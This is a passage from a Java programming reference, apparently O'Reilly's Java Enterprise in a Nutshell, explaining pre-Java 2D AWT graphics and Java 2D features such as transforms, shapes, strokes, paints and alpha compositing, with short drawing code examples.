This chapter begins by documenting the original Java graphics model, which is still required for Java 1.1 applications, applets, and Personal Java applications. The chapter then moves on to detail the enhanced features provided by Java 2D. This chapter can provide only an introduction to the various features of Java 2D; for more complete information, see Java 2D Graphics, by Jonathan Knudsen (O'Reilly).

4.1. Graphics Before Java 2D

All graphics operations in Java are performed using a java.awt.Graphics object. The Graphics object serves three purposes:

  • It represents the drawing surface. A Graphics object is used to draw into a java.awt.Component on the screen, to draw into an off-screen java.awt. Image, or to send graphics to a printer.

  • It maintains the current state of graphics attributes, such as the current drawing color, font, and clipping region.

  • It defines methods that perform various graphics operations, such as drawing lines, rendering strings of text, and copying the content of Image objects onto the drawing surface.

The graphics capabilities of Java before Java 2D can be neatly summarized by listing the graphics attributes and operations supported by the Graphics object. Table 4-1 lists the attributes, and Table 4-2 lists the operations.

Table 4-1. Attributes of the Graphics Class

Attribute | Type | Description
Color | Color | Set with setColor().
Font | Font | Set with setFont(). Only a small number of standard fonts are available.
Clipping region | Rectangle | In Java 1.1, set with setClip(). Use clipRect() to set to the intersection of the current clipping region and a rectangle. setClip() takes a Shape object, but prior to Java 1.2, the clipping region is, in practice, restricted to rectangles.
Origin | Point | Use translate() to move the origin. The default origin is in the upper-left corner of the drawing region, with X coordinates increasing to the right and Y coordinates increasing down.
Paint mode | boolean | setXORMode() puts the Graphics object into the infrequently used XOR mode, while setPaintMode() restores the default drawing mode.
Background color/color.html | Color | This attribute is used only by the clearRect() method, and its value cannot be set. When drawing into a Component, the background color is the value of the background attribute of the component. The value is undefined when drawing into off-screen images.

Table 4-2. Operations of the Graphics Class

Operation | Methods | Attributes Used
Line drawing | drawLine(), drawPolyline() | color, origin, clip, paint mode
Shape drawing | drawArc(), drawOval(), drawPolygon(), drawRect(), drawRoundRect(), draw3DRect() | color, origin, clip, paint mode
Shape filling | fillArc(), fillOval(), fillPolygon(), fillRect(), fillRoundRect(), fill3DRect() | color, origin, clip, paint mode
Text drawing | drawBytes(), drawChars(), drawString() | color, font, origin, clip, paint mode
Image drawing (blitting) | drawImage() (various versions) | origin, clip, paint mode
Clearing | clearRect() | origin, clip, background color

4.1.1. Line Drawing

An important point to notice in Table 4-1 is that there is no attribute for line width. Prior to Java 2D, Java can only draw lines that are a single pixel wide. This is perhaps the single largest limitation of the Java 1.0 and Java 1.1 graphics environments.

4.1.2. Colors

Colors are represented by the java.awt.Color class. In Java 1.0 and Java 1.1, this class represents colors in the RGB color space. It has constructors that allow you to specify red, green, and blue color coordinates as integers or as floating-point values. The class defines a static method that allows you to create a Color using coordinates from the HSB (hue, saturation, brightness) color space. It also defines a number of constants that represent colors by their common names, such as Color.black and Color.white.

java.awt.SystemColor is a subclass of Color introduced in Java 1.1. The class has no public constructor but defines a number of SystemColor constants that represent colors used on the system desktop (for systems that support a system desktop color palette). For example, SystemColor.textHighlight represents the color used for highlighted text

4.1.3. Fonts

Fonts are represented with the java.awt.Font class. A Font object is created by specifying the name, style, and point size of the desired font. In an attempt to promote platform independence, Java 1.0 supports only a handful of standard font names. Java 1.1 supports the same fonts but provides new preferred symbolic names for them. The fonts supported prior to Java 2D are listed in Table 4-3.

Table 4-3. Font Names in Java 1.0 and Java 1.1

Java 1.0 Name | Preferred Name in Java 1.1
TimesRoman | Serif
Helvetica | SansSerif
Courier | Monospaced
Symbol | Symbol
Dialog | Dialog
DialogInput | DialogInput

Fonts can be displayed in any of four possible font styles, which are represented by the symbolic constants listed in Table 4-4.

Table 4-4. Java Font Styles

Style | Java Constant
plain | Font.PLAIN
italic | Font.ITALIC
bold | Font.BOLD
bolditalic | Font.BOLD + Font.ITALIC

Font sizes are specified in points. The Font() constructor accepts an integer argument, so fractional point sizes are not supported in Java 1.0 and 1.1. If the native platform does not support scalable fonts, the returned font may have a different size than what you requested.

4.1.4. Font Metrics

If you need to figure out how big a piece of text will be, you can call the getFontMetrics() methods of a Graphics object and pass in the desired font. This returns a FontMetrics object. The getHeight() method returns the line height for the font, which can be further broken down into the font ascent and descent, returned by getAscent() and getDescent(), respectively. To measure the horizontal dimension of text, use charWidth() and stringWidth().

4.1.5. Images

Images are represented by the java.awt.Image class. Working with images in Java 1.0 and Java 1.1 is a little tricky because the image processing model of those releases is based on streaming image data being loaded across a network. This treatment of images allows images to be partially displayed before they are fully loaded, but makes working with images somewhat more difficult.

All of the drawImage() methods of the Graphics objects require an java.awt. image.ImageObserver object. This is the object that handles things if you try to draw an image that is not fully loaded. Fortunately, java.awt.Component implements ImageObserver, so you can use any Component or Applet object for this method argument.

If are writing an applet and want to load a predefined image from a URL, you can use the getImage() method defined by the java.applet.Applet class. This method begins downloading the specified image and returns an Image object to you immediately.

If you are writing a standalone application and want to load a predefined image from a file or URL, use one of the getImage() or createImage() methods of the java.awt.Toolkit class:

Toolkit.getDefaultToolkit().getImage("myimage.gif");

Like the getImage() method of Applet, these Toolkit methods start loading the image and immediately return an Image object. The image formats supported by these Applet and Toolkit methods are implementation dependent. Most implementations support common formats, such as GIF (including transparent GIF), JPEG, and XBM.

To ensure that an Image object is fully loaded before you use it, you can create a java.awt.MediaTracker object, pass your Image to its addImage() method, then call the waitForAll() method.

To create an empty off-screen image that you can draw into and copy pixels out of, call the createImage() method of the Component with which you plan to use the image and pass in the desired width and height of the image. To draw into the image, you have to obtain a Graphics object by calling the getGraphics() method of the image. Images created in this way are often used for double-buffering, to produce smoother animations or graphical updates.

The java.awt.image package contains classes that support rudimentary image processing and filtering. Java 2D implements more powerful image-processing techniques, so the Java 1.0 model is not described here.

Previous | Home | Next
3.24. Custom Components | Book Index | 4.2. Java 2D Graphics Attributes and Operations
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java 2D Graphics Attributes and Operations (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

4.2. Java 2D Graphics Attributes and Operations

Java 2D dramatically expands the graphics capabilities of Java. It does this through the java.awt.Graphics2D subclass of java.awt.Graphics. In Java 2, you can simply cast any Graphics object you are given to a Graphics2D object, and then you can use the new features of Java 2D.

Table 4-5 and Table 4-6 summarize the new features of Java 2D by listing the graphics attributes and graphics operations supported by the Graphics2D class.

Table 4-5. Graphics Attributes of Java 2D

Attribute | Type | Description
Foreground color | Color | Inherited from Graphics but superseded by the fill style attribute and the Paint interface.
Background color | Color | Inherited from Graphics but can now be set and queried with setBack- ground() and getBackground(). This attribute is still used only by clearRect().
Font | Font | Inherited from Graphics. All of the system fonts are now available to Java.
Clipping region | Shape | Inherited from Graphics. In Java 2D, however, arbitrary Shape objects may be used; the clipping region is no longer restricted to only rectangular shapes. A new method, which is called clip(), sets the clipping region to the intersection of the current region and a specified Shape.
Line style | Stroke | A Stroke object specifies how lines are drawn. The BasicStroke implementation supports line width, dash pattern, and other attributes, described in more detail later in the chapter. Set the current line style with setStroke().
Fill style | Paint | A Paint object specifies how an area is filled. Color implements this interface and fills with a solid color, java.awt.TexturePaint fills with a tiled image, and java.awt.Gra- dientPaint fills with a color gradient. Set the current fill style with setPaint().
Compositing | Composite | A Composite object controls how the color of a pixel is combined, or composited, with the color of the pixel on top of which it is drawn. The default compositing operation combines translucent pixels with the pixels they overlay, letting the overlaid colors "show through." The AlphaComposite class is an implementation of Composite; it performs various types of compositing, based on the alpha-transparency of the pixels involved.
Transform | java.awt.geom.- AffineTransform | Controls the translation, scaling, rotation, and shearing of the coordinate system. Set this attribute with setTransform(), or modify the current transform with translate(), scale(), rotate(), shear(), or transform().
Hints | RenderingHints | A RenderingHints object allows a program to express preferences about various speed versus quality trade-offs made by Java 2D. Most notably, RenderingHints controls whether Java 2D performs antialiasing. Set with setRenderingHints(), setRendering- Hint(), or addRenderingHints().

Table 4-6. Graphics Operations of Java 2D

Operation | Methods | Description
Drawing | draw(), inherited methods | draw() outlines an arbitrary Shape. Uses the clip, transform, stroke, paint, and composite attributes.
Filling | fill(), inherited methods | fill() fills an arbitrary Shape. Uses the clip, transform, paint, and composite attributes.
Hit detection | hit() | Tests whether a given rectangle (in device coordinates) intersects the interior or outline of an arbitrary Shape. Uses the clip, transform, and stroke attributes when testing the outline of a Shape.
Text drawing | drawString(), drawGlyphVector(), inherited methods | Java 2D defines text-drawing methods that take String, java.text.AttributedCharacter- Iterator, and java.awt.font.- GlyphVector arguments. Text drawing uses the clip, transform, font, paint, and composite attributes. Note, however, that AttributedCharacterIterator objects supply their own fonts.
Image drawing | drawImage(), drawRenderableImage(), drawRenderedImage(), inherited methods | Java 2D defines new image-drawing methods that draw special types of images. java.awt.image.BufferedImage is the most important new type. These methods use the clip, transform, and composite attributes.
Previous | Home | Next
4.1. Graphics Before Java 2D | Book Index | 4.3. The Coordinate System
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Coordinate System (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

4.3. The Coordinate System

By default, Java 2D uses the same coordinate system as AWT. The origin is in the upper-left corner of the drawing surface. X coordinate values increase to the right, and Y coordinate values increase as they go down. When drawing to a screen or an off-screen image, X and Y coordinates are measured in pixels. When drawing to a printer or other high-resolution device, however, X and Y coordinates are measured in points instead of pixels (and there are 72 points in one inch).

It is instructive to consider in more detail how Java 2D draws to a high-resolution device like a printer. The Java 2D drawing commands you issue express coordinates on the printer paper in units of points. This coordinate system is referred to as "user space." However, different printers print at different resolutions and support different coordinate systems, so when drawing to a device like this, Java 2D must convert your user-space coordinates into printer-specific, device-space coordinates.

On a high-resolution printer, one point in user space may translate into 10 or more pixels in the printer's device space. In order to take full advantage of all this resolution, you need to be able to use coordinates like 75.3 in user space. This brings us to one of the big differences between the Java 2D coordinate system and the AWT system: Java 2D allows coordinates to be expressed as floating-point numbers, instead of restricting them to integers. Throughout the Java 2D API, you'll see methods that accept float values instead of int values.

The distinction between user space and device space is valid even when we are just drawing to the relatively low resolution screen. By default, when drawing to a screen or image, user space is the same as device space. However, the Graphics2D class defines methods that allow you to trivially modify the default coordinate system. For example, you can move the origin of the coordinate system with the translate() method. The following code draws two identical lines at identical positions. The first line is drawn in the default coordinate system, while the second is drawn after calling translate():

Graphics2D g;                    // Assume this is already initialized
g.drawLine(100, 100, 200, 200);  // Draw in the default coordinate system
g.translate(100.0, 100.0);       // Move the origin down and to the right
g.drawLine(0, 0, 100, 100);      // Draw the same line relative to new origin

The translate() method is not all that interesting, and, in fact, a version of it existed even before Java 2D. The Graphics2D class also defines scale(), rotate(), and shear() methods that perform more powerful transformations of the coordinate system.

By default, when drawing to the screen, one unit in user space corresponds to one pixel in device space. The scale() method changes this. If you scale the coordinate system by a factor of 10, one unit of user space corresponds to 10 pixels in device space. Note that you can scale by different amounts in the X and Y dimensions. The following code draws the same simple line from 100, 100 to 200, 200 (using the default origin):

g.scale(2.0, 2.0);
g.drawLine(50, 50, 100, 100);

You can combine transformations. For example, suppose you are drawing into a 500-pixel-by-500-pixel window and you want to have the origin at the bottom left of the window, with Y coordinates increasing as they go up, rather than as they go down. You can achieve this with two simple method calls:

g.translate(0.0, 500.0);  // Move the origin to the lower left
g.scale(1.0, -1.0);       // Flip the sign of the coordinate system

rotate() is another powerful coordinate system transformation method. You specify an angle in radians, and the method rotates the coordinate system by that amount. The direction of rotation is such that points on the positive X axis are rotated in the direction of the positive Y axis. Although you typically do not want to leave your coordinate system in a permanently rotated state, the rotate() method is useful for drawing rotated text or other rotated graphics. For example:

g.rotate(Math.PI/4);                     // Rotate 45 degrees
g.drawString("Hello world", 300, 300)    // Draw text in this rotated position
g.rotate(-Math.PI/4);                    // Rotate back to normal

Note that these calls to rotate() rotate the coordinate system about the origin. There is also a three-argument version of the method that rotates about a specified point, which can often be more useful.

The final transformation method defined by Graphics2D is shear(). The effects of this method are not as intuitive as the methods we've already discussed. After a call to shear(), any rectangles you draw appear skewed, as parallelograms.

Any calls you make to translate(), scale(), rotate(), and shear() have a cumulative effect on the mapping from user space to device space. This mapping is encapsulated in a java.awt.geom.AffineTransform object and is one of the graphics attributes maintained by a Graphics2D object. You can obtain a copy of the current transform with getTransform(), and you can set a transform directly with setTransform(). setTransform() is not cumulative. It simply replaces the current user-to-device-space mapping with a new mapping:

AffineTransform t = g.getTransform(); // Save the current transform
g.rotate(theta);                      // Change the transform
g.drawRect(100, 100, 200, 200);       // Draw something
g.setTransform(t);                    // Restore the transform to its old state

AffineTransform is used in a number of places in the Java 2D API; we'll discuss it in more detail later in this chapter. Once you understand the details and some of the math behind this class, you can define AffineTransform objects of your own and pass them to setTransform().

Another use of AffineTransform objects is with the transform() method of Graphics2D. This method modifies the current coordinate system, just as translate(), scale(), rotate(), and shear() do. transform() is much more general, however. The AffineTransform object you pass to it can represent any arbitrary combination of translation, scaling, rotation, and shearing.

Previous | Home | Next
4.2. Java 2D Graphics Attributes and Operations | Book Index | 4.4. Shapes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Shapes (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

4.4. Shapes

One of the most fundamental abstractions in Java 2D is the java.awt.Shape. This interface describes a shape, obviously. But note that the Java 2D definition of a shape does not require the shape to enclose an area--a Shape object may represent an open curve such as a line or parabola just as easily as it represents a closed curve such as a rectangle or circle. If an open curve is passed to a graphics operation (such as fill()) that requires a closed curve, the curve is implicitly closed by adding a straight-line segment between its end points. A Java 2D shape is sometimes referred to as a "path," because it describes the path a pen would follow to draw the shape.

The Java 2D Graphics2D class defines some very fundamental operations on Shape objects: draw() draws a Shape; fill() fills a Shape; clip() restricts the current drawing region to the specified Shape; hit() tests whether a given rectangle falls in or on a given shape. In addition, the AffineTransform class has methods that allow Shape objects to be arbitrarily scaled, rotated, translated, and sheared. Because the Shape interface is used throughout Java 2D, these fundamental operations on shapes are quite powerful. For example, the individual glyphs of a font can be represented as Shape objects, meaning they can be individually scaled, rotated, drawn, filled, and so on.

Java 2D contains a number of predefined Shape implementations, many of which are part of the java.awt.geom package. Note that some basic geometric shapes have multiple Shape implementations, where each implementation uses a different data type to store coordinates. Table 4-7 lists these predefined Shape implementations.

Table 4-7. Java 2D Shape Implementations

Shape | Implementations
Rectangle | java.awt.Rectangle, java.awt.geom.Rectangle2D.Float, java.awt.geom.Rectangle2D.Double
Rounded rectangle | java.awt.geom.RoundRectangle2D.Float, java.awt.geom.RoundRectangle2D.Double
Ellipse (and circle) | java.awt.geom.Ellipse2D.Float, java.awt.geom.Ellipse2D.Double
Polygon | java.awt.Polygon
Line segment | java.awt.geom.Line2D.Float, java.awt.geom.Line2D.Double
Arc (ellipse segment) | java.awt.geom.Arc2D.Float, java.awt.geom.Arc2D.Double
Bezier curve (quadratic) | java.awt.geom.QuadCurve2D.Float, java.awt.geom.QuadCurve2D.Double
Bezier curve (cubic) | java.awt.geom.CubicCurve2D.Float, java.awt.geom.CubicCurve2D.Double

To draw a circle inside a square, for example, you can use code like this:

Graphics2D g;                          // Initialized elsewhere
Shape square = new Rectangle2D.Float(100.0f, 100.0f, 100.0f, 100.0f);
Shape circle = new Ellipse2D.Float(100.0f, 100.0f, 100.0f, 100.0f);
g.draw(square);
g.draw(circle);

In addition to these basic predefined shapes, the java.awt.geom package also contains two powerful classes for defining complex shapes. The Area class allows you to define a shape that is the union or intersection of other shapes. It also allows you to subtract one shape from another or define a shape that is the exclusive OR of two shapes. For example, the following code allows you to fill the shape that results from subtracting a circle from a square:

Graphics2D g;                          // Initialized elsewhere
Shape square = new Rectangle2D.Float(100.0f, 100.0f, 100.0f, 100.0f);
Shape circle = new Ellipse2D.Float(100.0f, 100.0f, 100.0f, 100.0f);
Area difference = new Area(square);
difference.subtract(circle);
g.fill(difference);

The GeneralPath class allows you to describe a Shape as a sequence of line segments and Bezier curve segments. You create such a general shape by calling the moveTo(), lineTo(), quadTo(), and curveTo() methods of GeneralPath. GeneralPath also allows you to append entire Shape objects to the path you are defining.

4.4.1. Bezier Curves

A Bezier curve is a smooth curve between two end points, with a shape described by one or more control points. Java 2D makes extensive low-level use of quadratic and cubic Bezier curves. A quadratic Bezier curve uses one control point, while a cubic Bezier curve uses two control points. There is some moderately complex mathematics behind Bezier curves, but for most Java 2D programmers, an intuitive understanding of these curves is sufficient. Figure 4-1 shows three quadratic and three cubic Bezier curves and illustrates how the position of the control points affects the shape of the curve.

Figure 4-1. Bezier curves

4.4.2. How Shapes Are Implemented

Java 2D can perform some very general operations on arbitrary Shape objects. In order to make this possible, the Shape interface exposes a quite general description of the desired shape. For example, the getBounds() and getBounds2D() methods return a bounding box for the shape. The various contains() methods test whether a given point or rectangle is enclosed by the shape. The intersects() methods test whether a given rectangle touches or overlaps the shape. These methods enable clipping, hit detection, and similar operations.

The getBounds(), contains(), and intersects() methods are important, but they do not say anything about how to draw the shape. This is the job of getPathIterator(), which returns a java.awt.geom.PathIterator object that breaks a Shape down into a sequence of individual line and curve segments that Java 2D can handle at a primitive level. The PathIterator interface is basically the opposite of GeneralPath. While GeneralPath allows a Shape to be built of line and curve segments, PathIterator breaks a Shape down into its component line and curve segments.

Shape defines two getPathIterator() methods. The two-argument version of this method returns a PathIterator that describes the shape in terms of line segments only (i.e., it cannot use curves). This method is usually implemented with a java.awt.geom.FlatteningPathIterator, an implementation of PathIterator that approximates the curved segments in a given path with multiple line segments. The flatness argument to getPathIterator() is a measure of how closely these line segments must approximate the original curve segments, where smaller values of flatness imply a better approximation.

Previous | Home | Next
4.3. The Coordinate System | Book Index | 4.5. Stroking Lines
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Stroking Lines (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

4.5. Stroking Lines

One of the new graphic attributes defined by Java 2D is the java.awt.Stroke; it is set with the setStroke() method of a Graphics2D object. The Stroke attribute is used by Java 2D whenever it draws a line. Conceptually, the Stroke describes the pen or brush that is used to draw the line: it controls all line-drawing attributes, such as line width and dash pattern. Java 2D defines a single implementation of the Stroke interface, java.awt.BasicStroke, that is suitable for almost all line drawing needs.

4.5.1. BasicStroke

A BasicStroke object encapsulates several different line drawing attributes: the line width, the dash pattern, the end cap style for the line, and the join style for the line. You specify values for these attributes when you call the BasicStroke() constructor. BasicStroke objects are immutable, so that they can be safely cached and shared. This means, however, that they don't have set() methods that allow you to change the attribute values.

The line-width attribute specifies (obviously) the width of the line. This line width is measured in units of user space. If you are using the default coordinate system, then user space equals device space, and line widths are measured in pixels. For backward compatibility, the default line width is 1.0. Suppose you want to draw the outline of a circle of radius 100, using a line that is 10 units wide. You can code it like this:

Graphics2D g;                                       // Initialized elsewhere
Shape circle = new Ellipse2D.Float(100.0f, 100.0f,  // Upper-left corner
                                   300.0f, 300.0f); // Width and height
g.setStroke(new BasicStroke(10.0f));                // Set line width
g.draw(circle);                                     // Now draw it

The end-cap attribute specifies how the ends of lines are drawn, or, more specifically, what type of end caps are placed at the end of lines. There is no analogous line attribute in AWT prior to Java 2D, as end caps are necessary only for lines that are more than one-pixel wide. If you are not familiar with end caps, look at Figure 4-2, as they are best explained visually. This figure shows what lines look like when drawn with each of the three possible end cap styles.

Figure 4-2. BasicStroke end-cap styles

The BasicStroke.CAP_BUTT constant specifies that the line should have no end cap. The CAP_SQUARE constant specifies a rectangular end cap that projects beyond the end point of the line by a distance equal to half of the line width; this is the default value for the end-cap attribute. CAP_ROUND specifies a semicircular end cap, with a radius equal to half of the line width.

The join-style attribute is similar to the end-cap attribute, except that it applies to the vertex where two lines join, rather than to the end of a line. Like the end-cap attribute, the join-style attribute is necessary only with wide lines and is best understood visually. Figure 4-3 illustrates this BasicStroke attribute. Note that the join style attribute is used only when drawing a shape that includes multiple line segments, not when two intersecting lines are drawn as separate shapes.

Figure 4-3. BasicStroke join styles

The default join style is a mitered join, represented by the BasicStroke.JOIN_MITER constant. This value specifies that lines are joined by extending their outer edges until they meet. The JOIN_BEVEL constant specifies that lines are joined by drawing a straight line between the outside corners of the two lines, while JOIN_ROUND specifies that the vertex formed by the two lines should be rounded, with a radius of half the line width. To use cap style and join style, you can use code like this:

g.setStroke(new BasicStroke(5.0f,                     // Line width
                            BasicStroke.CAP_ROUND,    // End-cap style
                            BasicStroke.JOIN_ROUND)); // Vertex join style

When you use the JOIN_MITER style to join two lines that have a small angle between them, the miter can become quite long. To avoid this situation, BasicStroke includes another attribute known as the miter limit. If the miter would be longer than this value times half of the line width, it is truncated. The default miter limit is 10.0.

The dash pattern of a line is actually controlled by two attributes: the dash array and the dash phase. The dash array is a float[] that specifies the number of units to be drawn followed by the number of units to be skipped. For example, to draw a dashed line in which both the dashes and spaces are 25 units long, you use an array like:

new float[] { 25.0f, 25.0f }

To draw a dot-dash pattern consisting of 21 on, 9 off, 3 on, and 9 off, you use this array:

new float[] { 21.0f, 9.0f, 3.0f, 9.0f }

Figure 4-4 illustrates these dashed-line examples. The end-cap style you specify is applied to each dash that is drawn.

Figure 4-4. BasicStroke dash patterns

If, for some reason, you want to draw a dashed line but do not want your line to begin at the beginning of the dash pattern, you can specify the dash-phase attribute. The value of this attribute specifies how far into the dash pattern the line should begin. Note, however, that this value is not an integer index into the dash pattern array. Instead, it is a floating-point value that specifies a linear distance.

To draw a dashed line, you must use the most complicated BasicStroke() constructor and specify values for all attributes. For example:

Stroke s = new BasicStroke(4.0f,                      // Width
                           BasicStroke.CAP_SQUARE,    // End cap
                           BasicStroke.JOIN_MITER,    // Join style
                           10.0f,                     // Miter limit
                           new float[] {16.0f,20.0f}, // Dash pattern
                           0.0f);                     // Dash phase

4.5.2. How a Stroke Works

The BasicStroke class is sufficient for most drawing needs, so it is unlikely that you will ever need to implement the Stroke interface yourself. Nevertheless, the Stroke interface defines only a single createStrokedShape() method, and it is instructive to understand what this method does.

In Java 2D, filling an area is a more fundamental operation than drawing (or stroking) the outline of a shape. The Stroke object is the link between the two operations; it makes it possible to implement the draw() method using the fill() method.

Recall the code that we just used to draw the outline of a circle. The draw() method has to draw the outline of the circle using only the fill() method. If it simply calls fill() on the circle, it ends up creating a solid disk, not the outline of a circle. So instead, draw() first passes the circle to the createStrokedShape() method of the BasicStroke object we've specified. createStrokedShape() returns a new shape: a circle of radius 105, minus a concentric circle of radius 95. The interior of this shape is the area between the two circles, a region that always has a width of 10 units. Now draw() can call fill() on this stroked shape to draw the 10-unit-wide outline of the original circle. (We'll discuss the fill() operation and the graphics attributes that it uses in the next section.)

Previous | Home | Next
4.4. Shapes | Book Index | 4.6. Paint
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Paint (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

4.6. Paint

As we've just seen, the Java 2D Stroke attribute turns the task of drawing a line into the task of filling an area. Prior to Java 2D, an area could be filled only with a solid color, specified by passing a Color object to the setColor() method of a Graphics object. In Java 2D, this color attribute has been generalized to a paint attribute: you pass a Paint object to the setPaint() method of a Graphics2D object. The specified Paint object is used to generate the pixel values used to fill areas.

The most common way to fill an area, however, is still to use a solid color. So another change in Java 2D is that the java.awt.Color class now implements the java.awt.Paint interface. All Color objects are perfectly legal Paint objects and can be used to draw lines and fill areas with a solid color.

Java 2D also defines two more complex Paint implementations. The java.awt. TexturePaint class uses a tiled image for its filling operations. The image is specified as a java.awt.image.BufferedImage. This is a Java 2D simplification of the java.awt.Image class; we'll discuss it in more detail later in the chapter. When you create a TexturePaint object, you must also specify a java.awt.geom.Rectangle2D object (java.awt.Rectangle is a kind of Rectangle2D). The purpose of this rectangle is to specify an initial position and horizontal and vertical repetition intervals for the tiled image. Typically, you can just specify a rectangle based at 0,0 with the same width and height as the image. If you are not using the default coordinate system, things are a little trickier, since image dimensions are always measured in pixels, but you must specify your rectangle dimensions in user-space coordinates.

The java.awt.GradientPaint class fills an area with a color gradient. The fill color varies linearly between a color C1 and a color C2, along the line between point P1 and point P2. You may also specify whether the gradient is cyclic or acyclic. If the gradient is cyclic, the line between P1 and P2 is extended infinitely in both directions, and the color cycles smoothly along this line from C1 to C2 and back to C1 again. If the gradient is defined to be acyclic, however, the color remains fixed at C1 beyond P1 and at C2 beyond P2.

Here's an example of creating and using a GradientPaint:

Graphics2D g;       // Initialized elsewhere
Paint p = new GradientPaint(0, 0, Color.red, 100, 100, Color.pink, true);
g.setPaint(p);
g.fillRect(0, 0, 300, 300);

Both TexturePaint and GradientPaint objects are immutable: they have no set() methods that allow their attributes to be changed. This is important because it means that a Graphics2D object can use a Paint object without worrying about its attributes being changed concurrently (i.e., the Graphics2D object does not have to make a private copy of its Paint attribute).

Previous | Home | Next
4.5. Stroking Lines | Book Index | 4.7. Blending Colors with AlphaComposite
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Blending Colors with AlphaComposite (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

4.7. Blending Colors with AlphaComposite

Although a Paint object is used to generate the colors used when drawing and filling with Java 2D, these colors are not always the final colors that end up displayed on the screen. Another Java 2D attribute, the Composite object, controls the way in which the colors being drawn combine with the colors that are already visible on the drawing surface.

A compositing operation combines the pixels of your drawing (the source pixels) with the pixels of the drawing surface (the destination pixels) to produce a new, composite set of pixels. Prior to Java 2D, you could use the setXORMode() method of a Graphics object to produce a simple and very specialized kind of compositing operation. Java 2D supports generalized compositing through the java.awt.Composite interface and its implementation, java.awt.AlphaComposite.

AlphaComposite performs compositing based on alpha-transparency, letting you paint with partially transparent colors that allow some of the background color to show through. It also supports various Porter-Duff compositing rules, as we'll discuss shortly.

4.7.1. Transparent Colors and the Alpha Channel

Before we can discuss the AlphaComposite class, you need to understand a bit about the notion of transparent colors. With most low-end graphics systems, such as the AWT before Java 2D, colors and images are opaque. When a line is drawn, a shape is filled, or an image is rendered, that item totally obscures whatever pixels it is drawn on top of. An image is always represented as a rectangular array of pixels. Sometimes, however, we want to use an image to display a nonrectangular graphic. To allow this, some image formats support the notion of a transparent color. When the image is drawn, the background shows through whatever pixels are marked as transparent. Transparency is indicated with a bit mask: for each pixel in the image, the graphics system uses one extra bit of information to specify whether the pixel is transparent or opaque.

Bit mask transparency is an on-or-off thing: a pixel is either fully transparent or fully opaque. The notion of transparency can be generalized, however, to include translucent pixels. Instead of simply associating 1 extra bit of data with each pixel, the graphics system can associate 4, 8, 16, or some other number of bits with each pixel. This leads to 16, 256, or 65,536 possible levels of translucency, ranging from fully transparent (0) to fully opaque (16, 256, or 65536). When you think about it, these transparency bits are really no different than the bits we use to represent the red, green, and blue components of each pixel. The transparency bits are called the alpha channel, while the color bits are called the red, green, and blue channels. When you are working with pixels represented by red, green, and blue components, you are said to be using the RGB color space.

Transparent and translucent pixels do not actually exist. Inside a monitor, there are red, green, and blue electron guns (or red, green, and blue LCD elements), but there is no electron gun for the alpha channel. At the hardware level, a pixel is on or it is off; it cannot be partially on. In order to give the appearance of transparency, the graphics system (Java 2D, in this case) has to blend (or composite) transparent pixels with the pixels that are beneath them. When a source color Cs that has a transparency of α is painted over a destination color Cd, the two colors are combined to produce a new destination color Cd' with an equation like the following:

Cd' = Cs*α + Cd*(1 - α)

For the purposes of this computation, the alpha value and the values of the red, green, and blue channels are treated as floating-point numbers between 0.0 and 1.0, rather than 8- or 16-bit integers. The equation is shorthand: the computation is actually performed independently on each of the red, green, and blue channels. If Cs is fully opaque, α is 1 and Cd' is simply Cs. On the other hand, if Cs is fully transparent, α is 0 and Cd' is simply Cd. If α is somewhere between fully opaque and fully transparent, the resulting color Cd' is a combination of the source and destination colors. The remarkable fact about combining colors with this simple mathematical formula is that the resulting blended color is actually a visually convincing simulation of translucent colors.

4.7.2. Drawing with Translucent Colors

You create an AlphaComposite object by calling its static getInstance() factory method. (A factory method is provided instead of a constructor so that the AlphaComposite class can cache and share immutable AlphaComposite objects.) getInstance() takes two arguments: a compositing mode and a float value between 0.0 and 1.0 that specifies an alpha-transparency value. The default Composite object used by a Graphics2D object is an AlphaComposite created like this:

AlphaComposite.getInstance(AlphaComposite.SRC_OVER, 1.0f);

The AlphaComposite.SrcOver constant also refers to this default AlphaComposite object.

The SRC_OVER compositing rule places the source color over the destination color and blends them based on the transparency of the source, using the formula shown in the previous section. I'll explain this rule and the others supported by AlphaComposite in more detail shortly. For now, you just need to know that SRC_OVER is the most commonly used compositing rule and has the most intuitive behavior.

If you use the default AlphaComposite attribute of a Graphics2D object, you can achieve color-blending effects by drawing with a translucent color. In Java 2D, the Color class includes new constructors that allow you to create translucent colors by including an alpha channel. For example, you can create and use a 50% transparent red color with code like the following:

Graphics2D g;                                 // Initialized elsewhere
Color c = new Color(1.0f, 0.0f, 0.0f, 0.5f);  // Red with alpha = 0.5
g.setPaint(c);                                // Use this translucent color
g.fillRect(100, 100, 100, 100);               // Draw something with it

This code draws a translucent red rectangle over whatever background previously existed on the drawing surface represented by the Graphics2D object. As an aside, it is worth noting that you can achieve interesting effects by using the GradientPaint class to define color gradients between colors with different levels of transparency.

Now suppose that you want to draw a complex, multicolor figure, and you want to make it translucent. While you could allocate a bunch of translucent colors and draw with them, there is an easier way. As we already discussed, when you create an AlphaComposite object, you specify an alpha value for it. The alpha value of any source pixel is multiplied by the alpha value associated with the AlphaComposite currently in effect. Since the default AlphaComposite object has an alpha value of 1.0, this object does not affect the transparency of colors. However, by setting the alpha value of an AlphaComposite object, we can draw using opaque colors and opaque images and still achieve the effect of translucency. For example, here's another way to draw a translucent red rectangle:

Graphics2D g;                                 // Initialized elsewhere
Color c = new Color(1.0f, 0.0f, 0.0f);        // Opaque red; alpha = 1.0
g.setPaint(c);                                // Use this opaque color

// Get and install an AlphaComposite to do transparent drawing
g.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, 0.5f);

g.fillRect(100, 100, 100, 100);               // Start drawing with it

4.7.3. The AlphaComposite Compositing Rules

The SRC_OVER compositing rule draws a possibly translucent source color over the destination color. This is what we typically want to happen when we perform a graphics operation. But the AlphaComposite object actually allows colors to be combined according to seven other rules as well.

